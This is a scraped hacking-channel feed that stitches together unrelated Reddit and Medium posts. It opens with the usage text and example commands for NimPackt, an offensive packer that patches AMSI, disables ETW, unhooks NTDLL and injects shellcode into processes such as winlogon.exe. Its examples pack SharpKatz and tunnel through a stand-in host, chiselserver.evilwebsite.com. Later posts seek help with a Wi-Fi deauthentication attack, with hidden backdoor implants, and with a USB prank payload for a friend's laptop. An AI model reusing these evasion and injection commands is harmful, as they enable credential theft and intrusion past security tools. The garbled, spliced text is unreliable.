the .cnafile from it's original location, otherwise it won't be able to find the NimPackt script files! https://blogger.googleusercontent.com/img/a/AVvXsEjAzTjuOeNxqeGe7OanmqoCnfGtpQFI6jGlp67wlPzNKA_x5RPVGTAAaf4CWCsXaKhXdkO9Yee1gAe5mp5HA7XzxbDvKwIZQh8z4-LY76J-JLG_lR0ubz4L0qz_tsA6Kn8CClA2Yk65dMxDESxSTuySYJ1D8sz4my4jJf5tB6awKiGSpeRz4qQxt9Xo=s320 Usageusage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
[-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
[-d] [-v] [-V]

required arguments:
-e EXECUTIONMODE, --executionmode EXECUTIONMODE
Execution mode of the packer. Supports "execute-assembly" or "shinject"
-i INPUTFILE, --inputfile INPUTFILE
C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
-a ARGUMENTS, --arguments ARGUMENTS
Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
time arguments (default)
-na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
-ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
-r, --remote Inject shellcode into remote process (default false)
-t INJECTTARGET, --target INJECTTARGET
Remote thread targeted for remote process injection
-E, --existing Remote inject into existing process rather than a newly spawned one (default
false, implies -r) (WARNING: VOLATILE)

other arguments:
-o OUTPUTFILE, --outfile OUTPUTFILE
Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
or path. This property will be stored in the output binary as the original
filename
-nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh
NTDLL.dll
-ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
APIs to evade EDR
-f FILETYPE, --filetype FILETYPE
Filetype to compile ("exe" or "dll", default: "exe")
-s, --sleep Sleep for approx. 30 seconds by calculating primes
-32, --32bit Compile in 32-bit mode (untested)
-S, --showConsole Show a console window with the app's output when running
-d, --debug Enable debug mode (retains .nim source file in output folder)
-v, --verbose Print debug messages of the wrapped binary at runtime
-V, --version show program's version number and exit Examples: # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thre ad through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -nsBinaries are stored in the outputsubfolder of your installation directory. Generated dllfiles can be execu[...]

___________________________
@hacking_Attack
@Hacking_Video

ted as follows (entry point can be changed in the Nim template): rundll32 exampleShinjectNimPackt.dll,IconSrvDownload NimPackt-v1

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/PkntFm9EIksI61N70NH4ljy_p4XiyHVkFqMxQF2U1sQ.jpg ​

https://raidforums.com/member.php?action=register Here you can check for yourself!

submitted by /u/Ijustwannalearnlol
[link] [comments]

hacking: security in practice
Raidforums owner indicted and faces criminal charges

https://external-preview.redd.it/cr6GtLeaWqdiSwPZXkKRhGvoqC_vnrDvVHoOVB1LWoY.jpg?width=640&crop=smart&auto=webp&s=77299ea3ba13048763004cb464769cb57abbef48 submitted by /u/catgirldev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Reverse Engineering BeReal

https://external-preview.redd.it/Zr-qc7mNIpQ0InYLVXql_tAGcXBDqnr-x648KlOua7I.jpg?width=640&crop=smart&auto=webp&s=3790ac05a9af064ccb3735942ee56494af3065e4 submitted by /u/Amazing-Bathroom3829
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Deauthentication attack on a 5G network with aireplay-ng

Hi, I'm in need of some help regarding deauthentication attacks with the tool aireplay-ng.

I'm using a wireless network adapter with the rtl8812bu chipset, which should support packet injection from what I've read online. After enabling Monitor mode (a feature that 100% works on the adapter) the command I try to run is:

sudo aireplay-ng --deauth 200 -a [router MAC address (BSSID)] -c [client MAC address (STATION)] -D wlan0

(Notes: wlan0 is my wireless interface in monitor mode. The targeted wireless network is a 5G one - luckily my adapter supports 5G. I tried running the command without the -Dflag, but then aireplay-ngreplies with: no such BSSID available)

When I check the targetted interface's status, I see that the client is still connected to the same 5G Wi-Fi network that I was attacking. Does anyone know what could be interfering with the attack?

The command output is as follows: https://imgur.com/a/qAvqa8z

What I've tried: I have tried restarting my network manager (airmon-ng) which didn't work, I also tried upgrading my kali distribution to no avail. I also tried using mdk4instead which slowed the connection very slightly - and I'm aiming to disconnect the client.

Many thanks!

submitted by /u/KfirEzer
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Affordable implant hardware to gain remote foothold in 802.1x networks?

Hello!

I'm preparing for my first Red Teaming engagement, and I have been tasked with preparing implant devices that will be planted on-site during physical security test engagements. I have the following requirements:

1. Can be plugged in fast and is easy to hide.
1. Prefferably as a MitM between a VOIP/printer and the network.

2. Works in 802.1x networks.
3. Will serve as a backdoor/VPN into the network from outside.
4. Optionally, allows us to connect to the network via 3G/4G.

The most well known solutions I've found are fromHak5 - LAN Turtle and Packet Squirrel. With LAN Turtle, I'm worried that it will not work with 802.1x network auth and that you can not connect it let's say instead of a printer or VOIP, since it only works as Ethernet -> USB.

Packet Squirrel looks a lot better suited for the task. While it lacks 3G, I think since it works as a Ethernet MitM bridge, it should work in place of a printer. I think this is the best out-of-the-box option, and will go with this one, unless I manage to find something better.

Another option I have discovered is using an OpenWRT router with SWORD, as described in this article. I will probably try that route, especially since it should also be easy to use 4G routers and get a connection from the outside, but I am worried about the 802.1x and whether it will work when we connect it as a MitM between a printer and the network. My hope is that I will manage to somehow get it working, since OpenWRT is open source, but I have no idea whether what I want is actually possible.

But that's all I have managed to find as possible implant devices. Does any of you have any experience with using Hak5 products or creating similar implants? Have any of you tried to get the OpenWRT-based backdoor working? I would be glad for any recommandation, DIY tips or ready-made products that you use during Red Teaming engagements, because I am sure that I'm not the first one who encountered this problem. Also, if said product is available in Europe, it would be even better!

Thank you!

submitted by /u/Mikina
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Idea for something cool

There is an event organised by one of my friends. He asked me for a music playlist of different genres that I have downloaded onto a USB of mine. He will insert that USB in his laptop to play the music (connected to the loudspeakers). I don't want to do any harm and therefore I don't want to write "friendly" malware. But is there anything nice or prank I can do? Can someone give an idea or a github scripts or other things that make it easier to implement in the USB.

submitted by /u/bruggekiller
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Broken session control leads to access the admin panel even after revoking the access!! — #ZOHO

Hey Guy’sContinue reading on Medium »
Read more...

Euler запускає програму ImmuneFi Bug Bounty на суму 1 мільйон доларів!

Програма ImmuneFi Bug Bounty має на меті посилити безпеку Euler, одночасно посилюючи співпрацю з більшою екосистемою DeFi в рамках нашого…Continue reading on Medium »
Read more...

Broken session control leads to access the admin panel even after revoking the access!! — #ZOHO
https://naveenroy008.medium.com/broken-session-control-leads-to-access-the-admin-panel-even-after-revoking-the-access-zoho-db219b19d2dd?source=rss------bug_bounty-5

Hey Guy’sContinue reading on Medium » (https://naveenroy008.medium.com/broken-session-control-leads-to-access-the-admin-panel-even-after-revoking-the-access-zoho-db219b19d2dd?source=rss------bug_bounty-5)

Euler запускає програму ImmuneFi Bug Bounty на суму 1 мільйон доларів!
https://medium.com/@veralaveraaa/euler-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D1%94-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D1%83-immunefi-bug-bounty-%D0%BD%D0%B0-%D1%81%D1%83%D0%BC%D1%83-1-%D0%BC%D1%96%D0%BB%D1%8C%D0%B9%D0%BE%D0%BD-%D0%B4%D0%BE%D0%BB%D0%B0%D1%80%D1%96%D0%B2-303d291facee?source=rss------bug_bounty-5

Програма ImmuneFi Bug Bounty має на меті посилити безпеку Euler, одночасно посилюючи співпрацю з більшою екосистемою DeFi в рамках нашого…Continue reading on Medium » (https://medium.com/@veralaveraaa/euler-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D1%94-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D1%83-immunefi-bug-bounty-%D0%BD%D0%B0-%D1%81%D1%83%D0%BC%D1%83-1-%D0%BC%D1%96%D0%BB%D1%8C%D0%B9%D0%BE%D0%BD-%D0%B4%D0%BE%D0%BB%D0%B0%D1%80%D1%96%D0%B2-303d291facee?source=rss------bug_bounty-5)

Dark Reading: Attacks/Breaches
Building a Cybersecurity Mesh Architecture in the Real World

Like zero trust, the cybersecurity mesh re-envisions the perimeter at the identity layer and centers upon unifying disparate security tools into a single, interoperable ecosystem.

Tarrask malware uses scheduled tasks for defense evasion
https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/TarraskMalwareDART) [comments] (https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/)